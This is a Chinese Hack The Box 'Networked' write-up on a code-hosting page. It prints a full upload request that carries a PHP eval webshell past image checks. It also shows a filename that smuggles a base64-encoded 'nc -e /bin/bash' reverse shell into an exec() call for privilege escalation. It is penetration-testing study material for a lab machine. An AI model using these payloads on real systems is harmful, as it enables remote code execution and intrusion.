1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
Networked.md 3.75 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-06-17 21:00 . 修改文件路径

信息收集

端口扫描没啥好写的就22,80

备份文件泄露

扫目录发现/backup

下载源码进行审计

漏洞利用

任意文件上传

阅读源码,lib.php是公用的一些函数。upload.php是上传功能,photos.php会展示你上传的文件。期间夹杂改上传文件的文件名等操作。

主要限制:

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
}

后缀白名单

list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

mime

function file_mime_type($file) {
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }
  if (function_exists('mime_content_type'))
  {
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
    {
      return $file_type;
    }
  }
  return $file['type'];
}

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

还是比较好过的。修改

Content-Type: image/jpeg

文件内容中添加gif的文件头GIF89a

后缀增加一个jpg

即可成功上传。但一开始我一直以为不解析。结果尝试性的连接了一下发现蚁剑连上了。。。。。

POST /upload.php HTTP/1.1

Host: 10.10.10.146

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------148831024038590541452420417381

Content-Length: 379

Origin: http://10.10.10.146

Connection: close

Referer: http://10.10.10.146/upload.php

Upgrade-Insecure-Requests: 1



-----------------------------148831024038590541452420417381

Content-Disposition: form-data; name="myFile"; filename="yjh.PHP.jpg"

Content-Type: image/jpeg



GIF89a

<?php @eval($_POST['shell']);?>

-----------------------------148831024038590541452420417381

Content-Disposition: form-data; name="submit"



go!

-----------------------------148831024038590541452420417381--

networked1

networked2

成功得到apache用户的shell

权限提升

ps. pkexec有suid,今时今日可以直接提到root了

apache->guly

查看/home目录发现有一个guly目录,user.txt就在这

networked3

注意exec()函数

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

这里的value变量值是我们可控制的,也就是上传文件的文件名(本地测试了一下正则匹配这句,返回的就是目录下的文件名)

查看到机器上有nc(实际是ncat)

echo nc -e /bin/bash 10.10.14.5 1234 | base64

bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjUgMTIzNAo=

然后在该目录新建一个文件命名为

`bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjUgMTIzNAo=| base64 -d | sh`
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助